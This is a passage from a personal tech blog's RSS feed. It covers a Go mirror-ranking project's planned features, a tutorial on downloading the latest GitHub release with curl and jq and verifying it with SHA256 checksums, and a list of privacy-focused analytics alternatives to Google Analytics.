&lt;/h2&gt;
&lt;p&gt;Of-course the inspiration for this project was the existence of other similar tools. The motive for this project was that most of the available tools are working for one distribution only, and none of them was written in Go :).&lt;/p&gt;
&lt;p&gt;These are the available tool that I want to research further for their functionalities, inputs/flags, outputs results, etc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Debian: &lt;a href="https://manpages.debian.org/stretch/netselect-apt/netselect-apt.1.en.html"&gt;&lt;code&gt;netselect-apt&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Debian:&lt;a href="https://manpages.debian.org/testing/apt-spy/apt-spy.8.en.html"&gt;&lt;code&gt;apt-spy&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Arch: &lt;a href="https://gitlab.archlinux.org/pacman/pacman-contrib"&gt;&lt;code&gt;pacman-contrib/rankmirrors&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Arch: &lt;a href="https://wiki.archlinux.org/title/Reflector"&gt;&lt;code&gt;Reflector&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Arch: &lt;a href="https://github.com/westandskif/rate-mirrors"&gt;&lt;code&gt;westandskif/rate-mirrors&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;General: &lt;a href="https://github.com/marguerite/rankmirror"&gt;&lt;code&gt;marguerite/rankmirror&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="future-features"&gt;
Future features
&lt;a href="#future-features" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Because this is a unfinished project there are a LOT of things that I want to add/change. Here are some of them categorized:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use 90th percentile stats, along with Average stats&lt;/li&gt;
&lt;li&gt;Add Heuristics for best mirror decision (speed, locallity, ranking)&lt;/li&gt;
&lt;li&gt;Support other mirror protocols: (e.g. &lt;code&gt;ftp&lt;/code&gt;, &lt;code&gt;rsync&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Rerort best mirror and others in sorted order based on internal ranking&lt;/li&gt;
&lt;li&gt;Update linux distribution mirror on the fly&lt;/li&gt;
&lt;li&gt;Add support for more distros&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To see the full list of the desired improvements and todo items, check the &lt;a href="https://github.com/thanoskoutr/gomirror?tab=readme-ov-file#to-do"&gt;README of the GitHub repository&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Download the Latest Release from GitHub and Verify their integrity using Checksums</title><link>https://thanoskoutr.com/posts/download-release-github/</link><pubDate>Thu, 25 Aug 2022 17:46:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/download-release-github/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/download-release-github.png"/&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;GitHub hosts millions of open-source projects, many of which provide compiled binaries for various platforms as part of their releases. When you&amp;rsquo;re looking to download the latest version of a project, you might wonder how to do it efficiently from the command line, without manually navigating the GitHub website. Fortunately, GitHub provides an API that allows you to access release information programmatically. In this post, we&amp;rsquo;ll explore how to download the latest release of any GitHub project from the command line, using &lt;code&gt;curl&lt;/code&gt; and utilizing the GitHub API.&lt;/p&gt;
&lt;p&gt;Additionally, we&amp;rsquo;ll cover how to verify the integrity of the downloaded artifact using checksum files, ensuring that the file has not been tampered with or corrupted during the download process.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;
Prerequisites
&lt;a href="#prerequisites" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Before diving into the commands, make sure you have the following command line dependencies installed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;curl&lt;/code&gt;: A command-line tool for transferring data with URLs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;jq&lt;/code&gt;: A lightweight and flexible command-line JSON processor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tr&lt;/code&gt;: A utility for translating or deleting characters.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sha256sum&lt;/code&gt;: A tool to compute and verify SHA256 checksums.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can install these tools on most Linux distributions using the package manager. For example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On Debian-based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install curl jq coreutils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On Red Hat-based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo yum install curl jq coreutils
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="understanding-the-github-api"&gt;
Understanding the GitHub API
&lt;a href="#understanding-the-github-api" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The GitHub API provides a convenient endpoint to fetch the latest release of a repository. The general format for accessing the latest release is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;https://api.github.com/repos/{owner}/{repo}/releases/latest
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{owner}&lt;/code&gt;: The GitHub username or organization name that owns the repository.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{repo}&lt;/code&gt;: The name of the repository.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This API endpoint returns JSON data, including the release&amp;rsquo;s tag name, asset URLs, and other metadata.&lt;/p&gt;
&lt;h2 id="downloading-the-latest-release"&gt;
Downloading the Latest Release
&lt;a href="#downloading-the-latest-release" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To download the latest release for a specific system architecture, you need to construct the download URL using the information from the GitHub API. Below are a few examples of how you can achieve this for different projects and platforms.&lt;/p&gt;
&lt;h3 id="example-1-downloading-chroma-for-linux-64-bit"&gt;
Example 1: Downloading Chroma for Linux 64-bit
&lt;a href="#example-1-downloading-chroma-for-linux-64-bit" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s download the latest version of the &lt;a href="https://github.com/alecthomas/chroma"&gt;&lt;code&gt;chroma&lt;/code&gt;&lt;/a&gt; project for a Linux 64-bit system.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fetch the Latest Tag Name:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TAG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;curl -sS https://api.github.com/repos/alecthomas/chroma/releases/latest | jq -r &lt;span style="color:#e6db74"&gt;&amp;#39;.tag_name&amp;#39;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Download the Release Asset:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -OL &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/alecthomas/chroma/releases/download/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/chroma-&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG:1&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;-linux-amd64.tar.gz&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, we use &lt;code&gt;curl&lt;/code&gt; to request the latest release data, &lt;code&gt;jq&lt;/code&gt; to parse the JSON, and &lt;code&gt;-r&lt;/code&gt; to extract the &lt;code&gt;tag_name&lt;/code&gt; as a raw string. Then we construct the download URL using the &lt;code&gt;tag_name&lt;/code&gt; and download the appropriate asset using &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="example-2-downloading-protocol-buffers-for-windows-64-bit"&gt;
Example 2: Downloading Protocol Buffers for Windows 64-bit
&lt;a href="#example-2-downloading-protocol-buffers-for-windows-64-bit" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For Windows users, let&amp;rsquo;s download the latest release of &lt;a href="https://github.com/protocolbuffers/protobuf"&gt;&lt;code&gt;protobuf&lt;/code&gt;&lt;/a&gt; for a Windows 64-bit system.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fetch the Latest Tag Name:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TAG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;curl -sS https://api.github.com/repos/protocolbuffers/protobuf/releases/latest | jq -r &lt;span style="color:#e6db74"&gt;&amp;#39;.tag_name&amp;#39;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Download the Release Asset:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -OL &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/protocolbuffers/protobuf/releases/download/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/protoc-&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG:1&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;-win64.zip&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that the URL format may vary slightly depending on the naming conventions used by the project&amp;rsquo;s maintainers.&lt;/p&gt;
&lt;h3 id="example-3-downloading-grpcurl-for-any-operating-system"&gt;
Example 3: Downloading gRPCurl for Any Operating System
&lt;a href="#example-3-downloading-grpcurl-for-any-operating-system" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;gRPCurl provides binaries for multiple operating systems. Let&amp;rsquo;s download the appropriate &lt;a href="https://github.com/fullstorydev/grpcurl"&gt;&lt;code&gt;grpcurl&lt;/code&gt;&lt;/a&gt; version for your current system.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fetch the Latest Tag Name:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TAG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;curl -sS https://api.github.com/repos/fullstorydev/grpcurl/releases/latest | jq -r &lt;span style="color:#e6db74"&gt;&amp;#39;.tag_name&amp;#39;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Determine System and Architecture:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;uname -s | tr &lt;span style="color:#e6db74"&gt;&amp;#39;[:upper:]&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;[:lower:]&amp;#39;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARCH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;uname -m&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Download the Release Asset:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -OL &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/fullstorydev/grpcurl/releases/download/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/grpcurl_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG:1&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;OS&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;ARCH&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.tar.gz&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, we use &lt;code&gt;uname&lt;/code&gt; to get the operating system and architecture. &lt;code&gt;tr&lt;/code&gt; is used to convert the OS name to lowercase, ensuring compatibility with the asset naming convention. This approach automatically adapts to your system&amp;rsquo;s architecture, making it cross-platform.\&lt;/p&gt;
&lt;h2 id="verifying-the-integrity-of-the-downloaded-release"&gt;
Verifying the Integrity of the Downloaded Release
&lt;a href="#verifying-the-integrity-of-the-downloaded-release" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;When downloading binaries from GitHub, it&amp;rsquo;s crucial to verify the integrity of the downloaded files to ensure they have not been tampered with or corrupted. Many projects provide checksum files, typically using SHA256, which you can use to verify the downloaded artifact.&lt;/p&gt;
&lt;p&gt;Reasons for verifying checksums:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Security&lt;/em&gt;: Ensures that the file has not been tampered with by malicious actors.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Integrity&lt;/em&gt;: Confirms that the file was not corrupted during the download process.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Authenticity&lt;/em&gt;: Verifies that the file you received is exactly what the developers released.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="example-verifying-openssl-release-for-linux-64-bit"&gt;
Example: Verifying OpenSSL Release for Linux 64-bit
&lt;a href="#example-verifying-openssl-release-for-linux-64-bit" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s demonstrate how to verify the integrity of the latest release of &lt;a href="https://github.com/openssl/openssl"&gt;OpenSSL&lt;/a&gt; using SHA256 checksums.&lt;/p&gt;
&lt;p&gt;First, download as shown before the latest release of the software (the &lt;code&gt;$TAG&lt;/code&gt; in this project contains both the name and the software version):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fetch the Latest Tag Name:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TAG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;curl -sS https://api.github.com/repos/openssl/openssl/releases/latest | jq -r &lt;span style="color:#e6db74"&gt;&amp;#39;.tag_name&amp;#39;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Download the Release Asset:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -OL &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/openssl/openssl/releases/download/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.tar.gz&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we can download the SHA256 Checksum File and verify it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Download the SHA256 Checksum File:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -OL &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/openssl/openssl/releases/download/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.tar.gz.sha256&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Verify the Checksum:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;cat &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;.tar.gz.sha256&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt; &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;TAG&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.tar.gz&amp;#34;&lt;/span&gt; | sha256sum --check
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Most projects provide checksum files alongside their release binaries. Check the project&amp;rsquo;s release page to find the correct URL for the checksum file.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a breakdown of the command:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cat ${TAG}.tar.gz.sha256&lt;/code&gt;: reads the expected checksum from the file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo &amp;quot;$(cat ${TAG}.tar.gz.sha256) ${TAG}.tar.gz&amp;quot;&lt;/code&gt;: constructs a command-line compatible string that pairs the checksum with the downloaded file&amp;rsquo;s name.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sha256sum --check&lt;/code&gt;: computes the checksum of the downloaded file and verifies it against the expected value.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the verification is successful, you&amp;rsquo;ll see a message similar to:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openssl-3.3.1.tar.gz: OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the checksums do not match, you&amp;rsquo;ll receive an error indicating a potential issue with the downloaded file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openssl-3.3.1.tar.gz: FAILED
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sha256sum: WARNING: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; computed checksum did NOT match
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Privacy-Focused Alternatives to Google Analytics</title><link>https://thanoskoutr.com/posts/analytics-alternatives/</link><pubDate>Thu, 14 Jul 2022 16:02:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/analytics-alternatives/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/unDraw-analytics.png"/&gt;
&lt;h2 id="introduction"&gt;
Introduction
&lt;a href="#introduction" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;A full catalog and review of some analytics tools, that are a more privacy-focused alternative to Google Analytics. The tools are divided into the following categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Free Cloud-Hosted&lt;/li&gt;
&lt;li&gt;Free Self-Hosted&lt;/li&gt;
&lt;li&gt;Paid (Cloud or Self Hosted)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All the chosen tools should have the following characteristics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Privacy Focused (No IP logging, Fingerprinting, Tracking, etc)&lt;/li&gt;
&lt;li&gt;GDPR compliant&lt;/li&gt;
&lt;li&gt;Open Source (Preferably but not hard criteria)&lt;/li&gt;
&lt;li&gt;Offer good statistics&lt;/li&gt;
&lt;li&gt;User-friendly interface (UI/UX)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reasons-for-choosing-an-alternative"&gt;
Reasons for choosing an alternative
&lt;a href="#reasons-for-choosing-an-alternative" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;It was a struggle for me to find and choose a different analytics service, but I knew I had to do it if I want to be more respectful of the people that visit my website and try to create a more private and secure internet. The state of the internet is not gonna change from our small websites, but I believe it is important if there is a more private choice available, we do not have a reason to ignore it.&lt;/p&gt;
&lt;p&gt;The lists below are not complete and do not include all available alternatives. They were chosen for my personal hobby use. They are not business-focused, and there might be better tools to track your websites and online products, so do your research for your specific needs.&lt;/p&gt;
&lt;p&gt;Of course, any suggestions would be welcome, if you have found another alternative or if you believe that a service listed does not meet the requirements that I defined.&lt;/p&gt;
&lt;h2 id="free-cloud-hosted-alternatives"&gt;
Free Cloud-Hosted Alternatives
&lt;a href="#free-cloud-hosted-alternatives" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In this category the services listed can be used as a service, meaning there is no need to self-host them. They can either be free to use or offer a free plan. The services listed here are not all open source, even if they have some parts of their code base open-sourced.&lt;/p&gt;
&lt;h3 id="characteristics"&gt;
Characteristics
&lt;a href="#characteristics" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The characteristics that I am looking for in the analytics services in this category are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reasonable amount of free page counts and actions.&lt;/li&gt;
&lt;li&gt;Reasonable pricing after the free plan.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="alternatives"&gt;
Alternatives
&lt;a href="#alternatives" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://counter.dev/"&gt;Counter.dev&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goatcounter.com/"&gt;GoatCounter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://posthog.com"&gt;PostHog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://telemetrydeck.com"&gt;TelemetryDECK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://splitbee.io"&gt;Splitbee&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://beampipe.io"&gt;beampipe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://swetrix.com"&gt;Swetrix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://piwik.pro"&gt;Piwik&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chiffre.io/"&gt;Chiffre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://microanalytics.io/"&gt;Microanalytics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://getinsights.io/"&gt;Insights&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.visitor-analytics.io/en/"&gt;Visitor Analytics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="free-self-hosted-alternatives"&gt;
Free Self-Hosted Alternatives
&lt;a href="#free-self-hosted-alternatives" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In this category, the services listed are all open source and free to use for self-hosting. This means that you have to provide the resources require to run these services and the cost that comes with that.&lt;/p&gt;
&lt;h3 id="characteristics-1"&gt;
Characteristics
&lt;a href="#characteristics-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The characteristics that I am looking for in the analytics services in this category are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Good instructions and documentation for self-hosting.&lt;/li&gt;
&lt;li&gt;Small footprint and server resources are needed.&lt;/li&gt;
&lt;li&gt;Open Source (This time I believe it is mandatory).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="alternatives-1"&gt;
Alternatives
&lt;a href="#alternatives-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://counter.dev/"&gt;Counter.dev&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goatcounter.com/"&gt;GoatCounter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://umami.is/"&gt;Umami&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ackee.electerious.com/"&gt;Ackee&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fugu.lol/"&gt;Fugu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.offen.dev/"&gt;Offen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://goaccess.io/"&gt;GoAccess&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.openwebanalytics.com/"&gt;Open Web Analytics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.openwebanalytics.com/"&gt;Countly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/milesmcc/shynet/"&gt;Shynet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="only-paid-alternatives"&gt;
Only Paid Alternatives
